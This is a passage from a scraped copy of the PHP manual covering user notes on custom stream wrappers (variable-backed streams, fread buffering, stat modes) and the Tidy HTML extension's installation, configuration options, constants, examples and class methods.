    return $this->mysqlHandler; //this is wrong, next
                                          //time you use
                                          //$this->mysqlHandler
                                          // the value is 1
  }
}
fordiman at gmail dot com 13-Aug-2007 02:59
Updated. I figured there's no need to store the variable name if we're dereferenceing; we can just store the pointer and not have to dereference in each function for brevity.

Also, I added the assertion that the stream is a string, since we're behaving basically like it has to be, and I changed the name to GlobalStream and global://, as that's a more descriptive moniker than VariableName/var://.
<?php
class GlobalStream {
    private $pos;
    private $stream;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->stream = &$GLOBALS[$url["host"]];
        $this->pos = 0;
        if (!is_string($this->stream)) return false;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->pos;
        $ret = substr($this->stream, $this->pos, $count);
        $this->pos += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $l=strlen($data);
        $this->stream =
            substr($this->stream, 0, $this->pos) .
            $data .
            substr($this->stream, $this->pos += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->pos;
    }
    public function stream_eof() {
        return $this->pos >= strlen($this->stream);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen($this->stream);
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $this->pos + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $this->pos=$newPos;
        return $ret;
    }
}
stream_wrapper_register('global', 'GlobalStream') or die('Failed to register protocol global://');

$myvar = "";

$fp = fopen("global://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
fordiman at gmail dot com 13-Aug-2007 02:32
Updated for PHP 5, and optimized for readability, low line count, and minimum memory use:

<?php
class VariableStream {
    private $position;
    private $varname;
    public function stream_open($path, $mode, $options, &$opened_path) {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->position;
        $ret = substr($GLOBALS[$this->varname], $p, $count);
        $p += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $v=&$GLOBALS[$this->varname];
        $l=strlen($data);
        $p=&$this->position;
        $v = substr($v, 0, $p) . $data . substr($v, $p += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->position;
    }
    public function stream_eof() {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen(&$GLOBALS[$this->varname]);
        $p=&$this->position;
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $p + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $p=$newPos;
        return $ret;
    }
}
stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
phpnet at povaddict dot com dot ar 10-Jun-2007 05:10
In response to Anonymouse at Coward dot com:

The manual says "Reading stops when up to length bytes have been read, [...] or (after opening userspace stream) when 8192 bytes have been read whichever comes first."

I tested it and fread($filehandle, 4096) returns 4096 bytes, so it's working as the manual says it should. You're right when you say "8192 bytes is always passed to stream_read as count", but that doesn't mean fread will return 8192 bytes. If you call fread twice with length 4096, PHP calls stream_read passing 8192 as count on the first fread, and doesn't call it on second fread. On both cases, fread returns the correct amount of bytes.

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        echo "stream_read called asking for $count bytes\n";
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";
$l=range('a','z');
for($i=0;$i<65536;$i++) {
    $myvar .= $l[array_rand($l)];
}

$fp = fopen("var://myvar", "r+");

while (!feof($fp)) {
    $out = fread($fp,1000);
    echo "fread returned ",strlen($out)," bytes\n";
}

fclose($fp);

?>
Anonymouse at Coward dot com 26-Apr-2007 06:18
Use caution with writing code that may use stream wrappers with fread, as fread behaviour is 'inconsistent' with normal file operations because of the 8192 bytes internal buffer used by PHP ( >= 5.0.5 IIRC ).

ie:

fread($filehandle, filesize($filename))

will not work correctly if the file is larger than 8KB, it will only get you the first 8192 bytes. Also, it seems that:

fread($filehandle, 4096)

will still give you 8KB (if the file is larger than 8KB) as 8192 bytes is always passed to stream_read as count.

This makes it somewhat impossible to just 'drop in' a stream where normally a file would be used without taking special care.

Yes, it IS mentioned in the documentation here if you read it really well, but I for one spent some time scratching my head over it, and looking at the bug tracker, I am not the only one. The dev's say this inconsistancy is a feature though, even if it does make stream wrappers pretty much useless 'out of the box'.

file_get_contents and stream_get_contents seem to work ok though.
none at your dot biz 10-Nov-2006 01:35
In case someone else starts scratching their head like I was, you should change the VariableStream::stream_eof() function to something like this:

   function stream_eof()
   {
       $eof = ($this->position >= strlen($GLOBALS[$this->varname]));
        if(version_compare(PHP_VERSION,'5.0','>=') && version_compare(PHP_VERSION,'5.1','<'))
        {
            $eof = !$eof;
        }
        return $eof;
   }

PHP 5.0 introduced a bug that wasn't fixed until 5.1
jhannus at php dot net 21-Jun-2005 04:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net 13-Apr-2005 04:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson 04-Apr-2005 08:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org 13-Apr-2004 07:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
        $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>


Restores a previously unregistered built-in wrapper

  • « stream_wrapper_register
  • stream_wrapper_unregister »
  • PHP Manual
  • Stream Functions
  • Restores a previously unregistered built-in wrapper

stream_wrapper_restore

(PHP 5 >= 5.1.0)

stream_wrapper_restore — Restores a previously unregistered built-in wrapper

Description

bool stream_wrapper_restore ( string $protocol )

Restores a built-in wrapper previously unregistered with stream_wrapper_unregister().

Parameters

protocol

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Unregister a URL wrapper

  • « stream_wrapper_restore
  • Tidy »
  • PHP Manual
  • Stream Functions
  • Unregister a URL wrapper

stream_wrapper_unregister

(PHP 5 >= 5.1.0)

stream_wrapper_unregister — Unregister a URL wrapper

Description

bool stream_wrapper_unregister ( string $protocol )

Allows you to disable an already defined stream wrapper. Once the wrapper has been disabled you may override it with a user-defined wrapper using stream_wrapper_register() or reenable it later on with stream_wrapper_restore().

Parameters

protocol

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.


Tidy

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Tidy example
  • tidy — The tidy class
    • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
    • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
    • tidy::__construct — Constructs a new tidy object
    • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
    • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
    • tidy::getConfig — Get current Tidy configuration
    • tidy::getHtmlVer — Get the Detected HTML version for the specified document
    • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
    • tidy::getOptDoc — Returns the documentation for the given option name
    • tidy::getRelease — Get release date (version) for Tidy library
    • tidy::getStatus — Get status of specified document
    • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
    • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
    • tidy::isXhtml — Indicates if the document is a XHTML document
    • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
    • tidy::parseFile — Parse markup in file or URI
    • tidy::parseString — Parse a document stored in a string
    • tidy::repairFile — Repair a file and return it as a string
    • tidy::repairString — Repair a string using an optionally provided configuration file
    • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree
  • tidyNode — The tidyNode class
    • tidyNode::getParent — Returns the parent node of the current node
    • tidyNode::hasChildren — Checks if a node has children
    • tidyNode::hasSiblings — Checks if a node has siblings
    • tidyNode::isAsp — Checks if this node is ASP
    • tidyNode::isComment — Checks if a node represents a comment
    • tidyNode::isHtml — Checks if a node is part of a HTML document
    • tidyNode::isJste — Checks if this node is JSTE
    • tidyNode::isPhp — Checks if a node is PHP
    • tidyNode::isText — Checks if a node represents text (no markup)
  • Tidy Functions
    • ob_tidyhandler — ob_start callback function to repair the buffer
    • tidy_access_count — Returns the Number of Tidy accessibility warnings encountered for specified document
    • tidy_config_count — Returns the Number of Tidy configuration errors encountered for specified document
    • tidy_error_count — Returns the Number of Tidy errors encountered for specified document
    • tidy_get_output — Return a string representing the parsed tidy markup
    • tidy_load_config — Load an ASCII Tidy configuration file with the specified encoding
    • tidy_reset_config — Restore Tidy configuration to default values
    • tidy_save_config — Save current settings to named file
    • tidy_set_encoding — Set the input/output character encoding for parsing markup
    • tidy_setopt — Updates the configuration settings for the specified tidy document
    • tidy_warning_count — Returns the Number of Tidy warnings encountered for specified document

User Contributed Notes

sirmonko at tapirpirates dot net 28-May-2009 09:59
here are the configuration options for tidy:
http://tidy.sourceforge.net/docs/quickref.html


Introduction

Tidy is a binding for the Tidy HTML clean and repair utility which allows you to not only clean and otherwise manipulate HTML documents, but also traverse the document tree.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

To use Tidy, you will need libtidy installed, available on the tidy homepage » http://tidy.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension is bundled with PHP 5 and greater, and is installed using the --with-tidy configure option.

PHP 4 users may use the (old) PECL extension here: » http://pecl.php.net/package/tidy.

Note:

Tidy 1.0 is for PHP 4, whereas newer versions of the Tidy extension are for PHP 5 and greater.

User Contributed Notes

Anonymous 06-Feb-2014 04:06
On Redhat-ish linux, you must install both libtidy and libtidy-devel (PHP 5.x):
sudo yum install libtidy libtidy-devel


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Tidy Configuration Options
Name | Default | Changeable | Changelog
tidy.default_config | "" | PHP_INI_SYSTEM |
tidy.clean_output | "0" | PHP_INI_USER | PHP_INI_PERDIR prior to PHP 5.4.0
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

tidy.default_config string

Default path for tidy config file.

tidy.clean_output boolean

Turns on/off the output repairing by Tidy.

Warning

Do not turn on tidy.clean_output if you are generating non-html content such as dynamic images.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Each TIDY_TAG_XXX represents a HTML tag. For example, TIDY_TAG_A represents a "<a href="XX">link</a>" tag. Each TIDY_ATTR_XXX represents a HTML attribute. For example TIDY_ATTR_HREF would represent the href attribute in the previous example.

The following constants are defined:

tidy tag constants
constant
TIDY_TAG_UNKNOWN
TIDY_TAG_A
TIDY_TAG_ABBR
TIDY_TAG_ACRONYM
TIDY_TAG_ALIGN
TIDY_TAG_APPLET
TIDY_TAG_AREA
TIDY_TAG_B
TIDY_TAG_BASE
TIDY_TAG_BASEFONT
TIDY_TAG_BDO
TIDY_TAG_BGSOUND
TIDY_TAG_BIG
TIDY_TAG_BLINK
TIDY_TAG_BLOCKQUOTE
TIDY_TAG_BODY
TIDY_TAG_BR
TIDY_TAG_BUTTON
TIDY_TAG_CAPTION
TIDY_TAG_CENTER
TIDY_TAG_CITE
TIDY_TAG_CODE
TIDY_TAG_COL
TIDY_TAG_COLGROUP
TIDY_TAG_COMMENT
TIDY_TAG_DD
TIDY_TAG_DEL
TIDY_TAG_DFN
TIDY_TAG_DIR
TIDY_TAG_DIV
TIDY_TAG_DL
TIDY_TAG_DT
TIDY_TAG_EM
TIDY_TAG_EMBED
TIDY_TAG_FIELDSET
TIDY_TAG_FONT
TIDY_TAG_FORM
TIDY_TAG_FRAME
TIDY_TAG_FRAMESET
TIDY_TAG_H1
TIDY_TAG_H2
TIDY_TAG_H3
TIDY_TAG_H4
TIDY_TAG_H5
TIDY_TAG_H6
TIDY_TAG_HEAD
TIDY_TAG_HR
TIDY_TAG_HTML
TIDY_TAG_I
TIDY_TAG_IFRAME
TIDY_TAG_ILAYER
TIDY_TAG_IMG
TIDY_TAG_INPUT
TIDY_TAG_INS
TIDY_TAG_ISINDEX
TIDY_TAG_KBD
TIDY_TAG_KEYGEN
TIDY_TAG_LABEL
TIDY_TAG_LAYER
TIDY_TAG_LEGEND
TIDY_TAG_LI
TIDY_TAG_LINK
TIDY_TAG_LISTING
TIDY_TAG_MAP
TIDY_TAG_MARQUEE
TIDY_TAG_MENU
TIDY_TAG_META
TIDY_TAG_MULTICOL
TIDY_TAG_NOBR
TIDY_TAG_NOEMBED
TIDY_TAG_NOFRAMES
TIDY_TAG_NOLAYER
TIDY_TAG_NOSAVE
TIDY_TAG_NOSCRIPT
TIDY_TAG_OBJECT
TIDY_TAG_OL
TIDY_TAG_OPTGROUP
TIDY_TAG_OPTION
TIDY_TAG_P
TIDY_TAG_PARAM
TIDY_TAG_PLAINTEXT
TIDY_TAG_PRE
TIDY_TAG_Q
TIDY_TAG_RP
TIDY_TAG_RT
TIDY_TAG_RTC
TIDY_TAG_RUBY
TIDY_TAG_S
TIDY_TAG_SAMP
TIDY_TAG_SCRIPT
TIDY_TAG_SELECT
TIDY_TAG_SERVER
TIDY_TAG_SERVLET
TIDY_TAG_SMALL
TIDY_TAG_SPACER
TIDY_TAG_SPAN
TIDY_TAG_STRIKE
TIDY_TAG_STRONG
TIDY_TAG_STYLE
TIDY_TAG_SUB
TIDY_TAG_TABLE
TIDY_TAG_TBODY
TIDY_TAG_TD
TIDY_TAG_TEXTAREA
TIDY_TAG_TFOOT
TIDY_TAG_TH
TIDY_TAG_THEAD
TIDY_TAG_TITLE
TIDY_TAG_TR
TIDY_TAG_TT
TIDY_TAG_U
TIDY_TAG_UL
TIDY_TAG_VAR
TIDY_TAG_WBR
TIDY_TAG_XMP

tidy attribute constants
constant
TIDY_ATTR_UNKNOWN
TIDY_ATTR_ABBR
TIDY_ATTR_ACCEPT
TIDY_ATTR_ACCEPT_CHARSET
TIDY_ATTR_ACCESSKEY
TIDY_ATTR_ACTION
TIDY_ATTR_ADD_DATE
TIDY_ATTR_ALIGN
TIDY_ATTR_ALINK
TIDY_ATTR_ALT
TIDY_ATTR_ARCHIVE
TIDY_ATTR_AXIS
TIDY_ATTR_BACKGROUND
TIDY_ATTR_BGCOLOR
TIDY_ATTR_BGPROPERTIES
TIDY_ATTR_BORDER
TIDY_ATTR_BORDERCOLOR
TIDY_ATTR_BOTTOMMARGIN
TIDY_ATTR_CELLPADDING
TIDY_ATTR_CELLSPACING
TIDY_ATTR_CHAR
TIDY_ATTR_CHAROFF
TIDY_ATTR_CHARSET
TIDY_ATTR_CHECKED
TIDY_ATTR_CITE
TIDY_ATTR_CLASS
TIDY_ATTR_CLASSID
TIDY_ATTR_CLEAR
TIDY_ATTR_CODE
TIDY_ATTR_CODEBASE
TIDY_ATTR_CODETYPE
TIDY_ATTR_COLOR
TIDY_ATTR_COLS
TIDY_ATTR_COLSPAN
TIDY_ATTR_COMPACT
TIDY_ATTR_CONTENT
TIDY_ATTR_COORDS
TIDY_ATTR_DATA
TIDY_ATTR_DATAFLD
TIDY_ATTR_DATAPAGESIZE
TIDY_ATTR_DATASRC
TIDY_ATTR_DATETIME
TIDY_ATTR_DECLARE
TIDY_ATTR_DEFER
TIDY_ATTR_DIR
TIDY_ATTR_DISABLED
TIDY_ATTR_ENCODING
TIDY_ATTR_ENCTYPE
TIDY_ATTR_FACE
TIDY_ATTR_FOR
TIDY_ATTR_FRAME
TIDY_ATTR_FRAMEBORDER
TIDY_ATTR_FRAMESPACING
TIDY_ATTR_GRIDX
TIDY_ATTR_GRIDY
TIDY_ATTR_HEADERS
TIDY_ATTR_HEIGHT
TIDY_ATTR_HREF
TIDY_ATTR_HREFLANG
TIDY_ATTR_HSPACE
TIDY_ATTR_HTTP_EQUIV
TIDY_ATTR_ID
TIDY_ATTR_ISMAP
TIDY_ATTR_LABEL
TIDY_ATTR_LANG
TIDY_ATTR_LANGUAGE
TIDY_ATTR_LAST_MODIFIED
TIDY_ATTR_LAST_VISIT
TIDY_ATTR_LEFTMARGIN
TIDY_ATTR_LINK
TIDY_ATTR_LONGDESC
TIDY_ATTR_LOWSRC
TIDY_ATTR_MARGINHEIGHT
TIDY_ATTR_MARGINWIDTH
TIDY_ATTR_MAXLENGTH
TIDY_ATTR_MEDIA
TIDY_ATTR_METHOD
TIDY_ATTR_MULTIPLE
TIDY_ATTR_NAME
TIDY_ATTR_NOHREF
TIDY_ATTR_NORESIZE
TIDY_ATTR_NOSHADE
TIDY_ATTR_NOWRAP
TIDY_ATTR_OBJECT
TIDY_ATTR_OnAFTERUPDATE
TIDY_ATTR_OnBEFOREUNLOAD
TIDY_ATTR_OnBEFOREUPDATE
TIDY_ATTR_OnBLUR
TIDY_ATTR_OnCHANGE
TIDY_ATTR_OnCLICK
TIDY_ATTR_OnDATAAVAILABLE
TIDY_ATTR_OnDATASETCHANGED
TIDY_ATTR_OnDATASETCOMPLETE
TIDY_ATTR_OnDBLCLICK
TIDY_ATTR_OnERRORUPDATE
TIDY_ATTR_OnFOCUS
TIDY_ATTR_OnKEYDOWN
TIDY_ATTR_OnKEYPRESS
TIDY_ATTR_OnKEYUP
TIDY_ATTR_OnLOAD
TIDY_ATTR_OnMOUSEDOWN
TIDY_ATTR_OnMOUSEMOVE
TIDY_ATTR_OnMOUSEOUT
TIDY_ATTR_OnMOUSEOVER
TIDY_ATTR_OnMOUSEUP
TIDY_ATTR_OnRESET
TIDY_ATTR_OnROWENTER
TIDY_ATTR_OnROWEXIT
TIDY_ATTR_OnSELECT
TIDY_ATTR_OnSUBMIT
TIDY_ATTR_OnUNLOAD
TIDY_ATTR_PROFILE
TIDY_ATTR_PROMPT
TIDY_ATTR_RBSPAN
TIDY_ATTR_READONLY
TIDY_ATTR_REL
TIDY_ATTR_REV
TIDY_ATTR_RIGHTMARGIN
TIDY_ATTR_ROWS
TIDY_ATTR_ROWSPAN
TIDY_ATTR_RULES
TIDY_ATTR_SCHEME
TIDY_ATTR_SCOPE
TIDY_ATTR_SCROLLING
TIDY_ATTR_SELECTED
TIDY_ATTR_SHAPE
TIDY_ATTR_SHOWGRID
TIDY_ATTR_SHOWGRIDX
TIDY_ATTR_SHOWGRIDY
TIDY_ATTR_SIZE
TIDY_ATTR_SPAN
TIDY_ATTR_SRC
TIDY_ATTR_STANDBY
TIDY_ATTR_START
TIDY_ATTR_STYLE
TIDY_ATTR_SUMMARY
TIDY_ATTR_TABINDEX
TIDY_ATTR_TARGET
TIDY_ATTR_TEXT
TIDY_ATTR_TITLE
TIDY_ATTR_TOPMARGIN
TIDY_ATTR_TYPE
TIDY_ATTR_USEMAP
TIDY_ATTR_VALIGN
TIDY_ATTR_VALUE
TIDY_ATTR_VALUETYPE
TIDY_ATTR_VERSION
TIDY_ATTR_VLINK
TIDY_ATTR_VSPACE
TIDY_ATTR_WIDTH
TIDY_ATTR_WRAP
TIDY_ATTR_XML_LANG
TIDY_ATTR_XML_SPACE
TIDY_ATTR_XMLNS

tidy nodetype constants
constant | description
TIDY_NODETYPE_ROOT | root node
TIDY_NODETYPE_DOCTYPE | doctype
TIDY_NODETYPE_COMMENT | HTML comment
TIDY_NODETYPE_PROCINS | Processing Instruction
TIDY_NODETYPE_TEXT | Text
TIDY_NODETYPE_START | start tag
TIDY_NODETYPE_END | end tag
TIDY_NODETYPE_STARTEND | empty tag
TIDY_NODETYPE_CDATA | CDATA
TIDY_NODETYPE_SECTION | XML section
TIDY_NODETYPE_ASP | ASP code
TIDY_NODETYPE_JSTE | JSTE code
TIDY_NODETYPE_PHP | PHP code
TIDY_NODETYPE_XMLDECL | XML declaration

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Tidy example

User Contributed Notes

Dmitri Snytkine cms.lampcms.com 23-Dec-2009 11:26
Important notice about configuration options:
If you read the quickref on this page:
http://tidy.sourceforge.net/docs/quickref.html
you may get an idea that the boolean values for config options can be set as 'y' or 'yes' or 'n' or 'no'
but that's not true for the tidy extension in php.

Boolean values MUST be set only as true or false (without quotes or cause), otherwise tidy just ignores your configuration. It will not raise any error or warning but will just ignore your 'yes' or 'no' values.

For example, this config array will not have the desired effect:
<?php $config = array('drop-proprietary-attributes' => 'yes'); ?>

You must set option to true:
<?php $config = array('drop-proprietary-attributes' => true); ?>
Brad 03-Mar-2009 09:50
Cleaning an html fragment (OO support seems to half-arsed for now)

This will ensure all tags are closed, without adding any html/head/body tags around it.

<?php
$tidy_config = array(
                     'clean' => true,
                     'output-xhtml' => true,
                     'show-body-only' => true,
                     'wrap' => 0,

                     );

$tidy = tidy_parse_string($html_fragment, $tidy_config, 'UTF8');
$tidy->cleanRepair();
echo $tidy;
?>
nicolas [at] adaka [dot] fr 25-Nov-2008 10:33
That seems to be the correct config to symply tidy an HTML fragment (in a valid XHTML syntax) :

<?php
    $tidy_config    =    array(
        'clean'                            =>    true,
        'drop-proprietary-attributes'    =>    true,
        'output-xhtml'                    =>    true,
        'show-body-only'                =>    true,
        'word-2000'                        =>    true,
        'wrap'                            =>    '0'
    );
?>
dan [@t] authenticdesign [d_o_t] net 22-Aug-2008 07:44
If you're just looking for a quick and dirty way to output HTML code you created in a formatted way use this technique...

<?php
$html = 'a chunk of html you created';
$config = array(
            'indent'         => true,
            'output-xml'     => true,
            'input-xml'     => true,
            'wrap'         => '1000');

// Tidy
$tidy = new tidy();
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();
echo tidy_get_output($tidy);
?>

... This seemed to get the result I wanted every time.


Tidy example

This simple example shows basic Tidy usage.

Example #1 Basic Tidy usage

<?php
ob_start();
?>
<html>a html document</html>
<?php
$html = ob_get_clean();

// Specify configuration
$config = array(
           'indent'         => true,
           'output-xhtml'   => true,
           'wrap'           => 200);

// Tidy
$tidy = new tidy;
$tidy->parseString($html, $config, 'utf8');
$tidy->cleanRepair();

// Output
echo $tidy;
?>

User Contributed Notes

gk at anuary dot com 23-Feb-2014 07:56
If you are looking for HTML beautifier (a tool to indent HTML output produced by your script), Tidy extension might not be the right tool for the job.

First and foremost, you should not be using either Tidy or alternatives (e.g. HTML Purifier) in the production code. HTML post procession is relatively resource demanding task, esp. if the underlying implementation relies on DOM API. However, beyond performance, HTML beautification in production might hide far more serious output issues that will be hard to trace back, because output will not align with the input.

If you are indenting to use indentation (consistent, readable formatting of the output) for development purposes only then you might consider implementation that relies on regular expression. I have written, https://github.com/gajus/dindent for this purpose. The difference between earlier mentioned implementation and the latter is that regular expression based implementation does not attempt to sanitise, validate or otherwise manipulate your output beyond ensuring proper indentation.
i dot c dot lovett at NOSPAM dot gmail dot com 13-Mar-2012 05:22
Anyone trying to specify "indent: auto" as documented at http://tidy.sourceforge.net/docs/quickref.html#indent

<?php
$tidy_options = array('indent' => 'auto'); // WILL NOT WORK
$tidy_options = array('indent' => 2); // equivalent of auto

$tidy = new Tidy();
$tidy->parseString($html, $tidy_options);
?>


The tidy class

(PHP 5, PECL tidy >= 0.5.2)

Introduction

An HTML node in an HTML file, as detected by tidy.

Class synopsis

tidy {
/* Properties */
string $errorBuffer;
/* Methods */
tidyNode body ( void )
bool cleanRepair ( void )
__construct ([ string $filename [, mixed $config [, string $encoding [, bool $use_include_path ]]]] )
bool diagnose ( void )
array getConfig ( void )
int getHtmlVer ( void )
mixed getOpt ( string $option )
string getOptDoc ( string $optname )
string getRelease ( void )
int getStatus ( void )
tidyNode head ( void )
tidyNode html ( void )
bool isXhtml ( void )
bool isXml ( void )
bool parseFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )
bool parseString ( string $input [, mixed $config [, string $encoding ]] )
string repairFile ( string $filename [, mixed $config [, string $encoding [, bool $use_include_path = false ]]] )
string repairString ( string $data [, mixed $config [, string $encoding ]] )
tidyNode root ( void )
}

Table of Contents

  • tidy::body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree
  • tidy::cleanRepair — Execute configured cleanup and repair operations on parsed markup
  • tidy::__construct — Constructs a new tidy object
  • tidy::diagnose — Run configured diagnostics on parsed and repaired markup
  • tidy::$errorBuffer — Return warnings and errors which occurred parsing the specified document
  • tidy::getConfig — Get current Tidy configuration
  • tidy::getHtmlVer — Get the Detected HTML version for the specified document
  • tidy::getOpt — Returns the value of the specified configuration option for the tidy document
  • tidy::getOptDoc — Returns the documentation for the given option name
  • tidy::getRelease — Get release date (version) for Tidy library
  • tidy::getStatus — Get status of specified document
  • tidy::head — Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html — Returns a tidyNode object starting from the <html> tag of the tidy parse tree
  • tidy::isXhtml — Indicates if the document is a XHTML document
  • tidy::isXml — Indicates if the document is a generic (non HTML/XHTML) XML document
  • tidy::parseFile — Parse markup in file or URI
  • tidy::parseString — Parse a document stored in a string
  • tidy::repairFile — Repair a file and return it as a string
  • tidy::repairString — Repair a string using an optionally provided configuration file
  • tidy::root — Returns a tidyNode object representing the root of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Returns a tidyNode object starting from the <body> tag of the tidy parse tree

  • « tidy
  • tidy::cleanRepair »
  • PHP Manual
  • tidy
  • Returns a tidyNode object starting from the <body> tag of the tidy parse tree

tidy::body

tidy_get_body

(PHP 5, PECL tidy 0.5.2-1.0)

tidy::body -- tidy_get_body — Returns a tidyNode object starting from the <body> tag of the tidy parse tree

Description

Object oriented style

tidyNode tidy::body ( void )

Procedural style

tidyNode tidy_get_body ( tidy $object )

Returns a tidyNode object starting from the <body> tag of the tidy parse tree.

Parameters

object

The Tidy object.

Return Values

Returns a tidyNode object starting from the <body> tag of the tidy parse tree.

Examples

Example #1 tidy::getBody() example

<?php
$html = '
<html>
  <head>
    <title>test</title>
  </head>
  <body>
    <p>paragraph</p>
  </body>
</html>';

$tidy = tidy_parse_string($html);

$body = $tidy->Body();
echo $body->value;
?>

The above example will output:

<body>
<p>paragraph</p>
</body>

Notes

Note: This function is only available with Zend Engine 2 (PHP >= 5.0.0).

See Also

  • tidy::head() - Returns a tidyNode object starting from the <head> tag of the tidy parse tree
  • tidy::html() - Returns a tidyNode object starting from the <html> tag of the tidy parse tree

User Contributed Notes

There are no user contributed notes for this page.


Execute configured cleanup and repair operations on parsed markup

  • « tidy::body
  • tidy::__construct »
  • PHP Manual
  • tidy
  • Execute configured cleanup and repair operations on parsed markup

tidy::cleanRepair

tidy_clean_repair

(PHP 5, PECL tidy >= 0.5.2)

tidy::cleanRepair -- tidy_clean_repair — Execute configured cleanup and repair operations on parsed markup

Description

Object oriented style

bool tidy::cleanRepair ( void )

Procedural style

bool tidy_clean_repair ( tidy $object )

This function cleans and repairs the given tidy object.

Parameters

object

The Tidy object.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 tidy::cleanrepair() example

<?php
$html = '<p>test</I>';

$tidy = tidy_parse_string($html);
$tidy->cleanRepair();

echo $tidy;
?>

The above example will output:

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 3.2//EN">
<html>
<head>
<title></title>
</head>
<body>
<p>test</p>
</body>
</html>

See Also

  • tidy::repairFile() - Repair a file and return it as a string
  • tidy::repairString() - Repair a string using an optionally provided configuration file

User Contributed Notes

There are no user contributed notes for this page.


Constructs a new tidy object

  • « tidy::cleanRepair
  • tidy::diagnose »
  • PHP Manual
  • tidy
  • Constructs a new tidy object

tidy::__construct

(PHP 5, PECL tidy >= 0.5.2)

tidy::__construct — Constructs a new tidy object

Description

tidy::__construct ([ string $filename [, mixed $config [, string $encoding [, bool $use_include_path ]]]] )

Constructs a new tidy object.

Parameters

filename

If the filename parameter is given, this function will also read that file and initialize the object with the file, acting like tidy_parse_file().

config

